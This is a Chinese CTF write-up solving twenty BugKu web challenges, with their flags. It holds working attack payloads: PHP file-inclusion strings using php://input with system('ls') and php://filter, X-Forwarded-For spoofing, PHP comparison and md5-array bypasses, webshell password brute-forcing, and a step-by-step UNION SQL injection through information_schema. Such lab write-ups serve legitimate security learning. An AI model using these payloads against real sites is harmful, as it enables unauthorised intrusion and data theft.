CTF-BugKu-WEB-1-20

2020.09.17

全面複習web,給自己定個目標,後天之前結束BugKu-Web,開始逆向。

經驗教訓

  1. php弱等於用於繞過==,弱等於之前會把等號兩邊轉化為同一類型變量;
  2. 全局變量全局變量全局變量!!$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
  3. 瀏覽器的檢查元素的網絡中內容不一定可信,因為瀏覽器在接受數據的時候會過濾不符合規則的內容,但是flag可能就藏着裡邊
  4. 偽裝成本地登陸添加請求頭X-Forwarded-For: 127.0.0.1
  5. 火狐瀏覽器有時候會出bug,在一個比較確定的答案沒有結果的時候,可以換個瀏覽器試試。。。。
  6. 文件包含漏洞的利用,php://input配合<?php echo system('ls');?>php://filter/read=convert.base64-encode/resource=index.php
  7. 數組求md5會返回false;
  8. 如果a、b兩個值不相同,則異或結果為1。如果a、b兩個值相同,異或結果為0。
  9. 數據庫中大數據庫是information_schema,其中有TABLES、COLUMNS表,存儲所有的表和列信息。

第一題 web2

//ctf.bugku.com/challenges#web2

  1. 一堆這個,在頁碼源文件找到flag

第二題 計算器

//ctf.bugku.com/challenges#計算器

  1. 打開如下
  2. 輸入框只能輸入一位數,檢查源碼,發現生成驗證碼多js文件
  3. 直接訪問,在文件中發現flagflag{CTF-bugku-0032}

第三題 web基礎$_GET

//ctf.bugku.com/challenges#web基礎$_GET

  1. 比較簡單的get,構造payload?what=flag,輸出flagflag{bugku_get_su8kej2en}

第四題 web基礎$_POST

//ctf.bugku.com/challenges#web基礎$_POST

  1. 簡單的post,Firefox打開,hackbar插件,添加postwhat=flag,請求得到flagflag{bugku_get_ssseint67se}

第五題 矛盾

//ctf.bugku.com/challenges#矛盾

  1. 不能是數字,還得弱等於1,這就用到字符’1qwk’弱等於數字1這個知識點了,在弱等於的時候,等號兩邊會轉化為同一類型的變量,這裡1qwk轉化為數字後為數字1,payloadnum=1qwk,得到flagflag{bugku-789-ps-ssdf}

第六題 web3

//ctf.bugku.com/challenges#web3

  1. 打開是很多彈窗,看源碼,在底部發現信息,html轉碼,得KEY{J2sa42ahJK-HS11III}

第七題 域名解析

//ctf.bugku.com/challenges#域名解析

  1. 訪問//123.206.87.240/後,用hackbar修改host為flag.baidu.com即可得KEY{DSAHDSJ82HDS2211}

第八題 你必須讓他停下

//ctf.bugku.com/challenges#你必須讓他停下

  1. 看源碼知道是一個script腳本一直在運行,用瀏覽器停用腳本之後,得到如下界面,沒啥用,
  2. 看頁面文字,stop at panda,我刷新界面源碼,發現請求文件一直在變,是不是請求的是panda就可以了呢,burp攔截試試,一直重發就會發現,有概率出現flagflag{dummy_game_1s_s0_popular}

第九題 本地包含

//ctf.bugku.com/challenges#本地包含

  1. 訪問500,估計是壞掉了

第十題 變量1

//ctf.bugku.com/challenges#變量1

  1. 得到代碼
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
  1. 主要意思就是滿足正則表達式,來用var_dump()來輸出變量值,這裡想到全局變量,構造payload?args=GLOBALS得到flagflag{92853051ab894a64f7865cf3c2128b34}

第十一題 web5

//ctf.bugku.com/challenges#web5

  1. 打開查看源碼,發現brainfuck密碼,不對,經過查閱是JSFUCK密碼,這是一種神奇的fuck密碼🤢,解密方法就是在谷歌瀏覽器的控制台輸進去,結果是ctf{whatfk}

  2. 輸入框內,被嘲諷了,原來這就是答案,直接輸就行了……我想多了

第十二題 頭等艙

//ctf.bugku.com/challenges#頭等艙

  1. 真的就啥也沒有,那隻能掃一掃了
  2. 通過burp抓包,發現響應包頭部有flagflag{Bugku_k8_23s_istra}

第十三題 網站被黑

//ctf.bugku.com/challenges#網站被黑

  1. 打開,一個沒用的網頁,源代碼什麼也沒有,那也只能掃描目錄了dirb //123.206.87.240:8002/webshell/
  2. 掃描發現shell.php,需要輸入密碼,弱密碼不好用,考慮爆破。得到密碼為hack,輸入得到flagflag{hack_bug_ku035}

第十四題 管理員系統

//ctf.bugku.com/challenges#管理員系統

  1. 打開網站是一個簡陋的管理員系統,嘗試弱密碼登陸,失敗,查看源碼,發現最底部有東西dGVzdDEyMw==,base64解碼得test123,可能是密碼,
    {{uploading-image-166887.png(uploading…)}}
  2. 登陸未果,考慮是本地登陸的原因,使用burp添加請求頭X-Forwarded-For: 127.0.0.1,得到flag85ff2ee4171396724bae20c0bd851f6b

第十五題 web4

//ctf.bugku.com/challenges#web4

  1. 打開讓看源代碼,看看就看看,是一個script,主要意思就是把兩個字符串轉碼,然後執行,我轉碼後如下:
function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  1. 代碼的意思很明確,就是password的值相等就返回正確,與他比較多一串是md5值,經解密得到1466644826,嘗試輸入
  2. 不好使,然後我就無語了,搜了搜發現不用解碼,直接輸入就行,mdfuckKEY{J22JK-HS11}

第十六題 flag在index里

//ctf.bugku.com/challenges#flag在index里

  1. 點擊鏈接//123.206.87.240:8005/post/index.php?file=show.php,這個跳轉的鏈接有點眼熟,好像是文件包含漏洞,於是我嘗試php://input,但是好像被過濾了
  2. 於是又嘗試另一個php://filter/read=convert.base64-encode/resource=index.php,成功輸出結果,轉碼後得到flagflag{edulcni_elif_lacol_si_siht}

第十七題 輸入密碼查看flag

//ctf.bugku.com/challenges#輸入密碼查看flag

  1. 輸入密碼,我們要善於找到題眼,說了是五位數密碼,他的意思就是五位數字,那麼我認為可以爆破一波,let『s go
  2. 突然懷疑是不是不靠譜,有點慢啊這樣,一共九萬個啊,是不是應該用py腳本開多線程試試啊……
  3. nice,果然,題眼對了就沒問題,說話間出結果了,哈哈哈flag{bugku-baopo-hah}

第十八題 點擊一百萬次

//ctf.bugku.com/challenges#點擊一百萬次

  1. 應該是沒了這個題……

第十九題 備份是個好習慣

//ctf.bugku.com/challenges#備份是個好習慣

  1. 打開時一堆啥玩意,貌似md5,64位,難不成是兩個md5……

    解密結果是[空密碼],這是啥玩意,哦哦wc,這是重複了兩遍的同一個
    d41d8cd98f00b204e9800998ecf8427e
    d41d8cd98f00b204e9800998ecf8427e

    但是解密結果還是一樣……
  2. 考慮到題目是備份,那麼這個考點就是php備份格式bak swp等,構造payloadindex.php.bak,成功下載到文件
  3. 拖到winhex中得到index代碼

    整理如下,接下來就是代碼解析:
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php"; //引入文件
ini_set("display_errors", 0); //不報錯
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 截取問好之後的內容
$str = substr($str,1); // 把問號去掉
$str = str_replace('key','',$str); // 過濾掉字符key,可以用複寫kekeyy繞過
parse_str($str); // 把str解析到變量中,這種情況直接替代同名變量
echo md5($key1);

echo md5($key2); // 這就是我們一開始看見的兩個md5值的原因
if(md5($key1) == md5($key2) && $key1 !== $key2){ // 得到flag的條件,key1不等於key2,但是他們的md5值相等,這理論上是不可能的,但是我們可以用數組求md5返回false來繞過
    echo $flag."鍙栧緱flag";
}
?>
  1. 經過分析,構造payload//123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
    得到flagBugku{OH_YOU_FIND_MY_MOMY}

第二十題 成績單

//ctf.bugku.com/challenges#成績單

  1. 是個sql注入題,哈哈哈,這個我記得,印象深刻。先隨便查一個。
  2. 整個注入過程如下:
    • id=1,輸出正常
    • id=1' ^(1)%23,沒輸出
    • id=1' ^(0)%23,輸出正常,說明存在注入
    • 1' ORDER BY 4%23,輸出正常
    • 1' ORDER BY 5%23,輸出錯誤,說明查詢結果有4列
    • 0' UNION SELECT 1,2,3,4%23,輸出正常,能看到每一個輸出對應的地方,可謂一個蘿蔔一個坑🥕
    • 到這一步就說明比較順利了,剩下的就是比較模版的東西了。id換成0,目的是讓前面查詢為空,這樣後邊的查詢結果就能顯示出來。
    • id=0' UNION SELECT database(),2,3,4%23,查詢數據庫名為skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23,查詢數據庫下表名為fl4g,sc
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23,查詢表fl4g下列名skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23,查詢列skctf_flag中數據得到flagBUGKU{Sql_INJECT0N_4813drd8hz4}
  3. 這真是一道相當好的注入練習題,我受益匪淺。
Tags: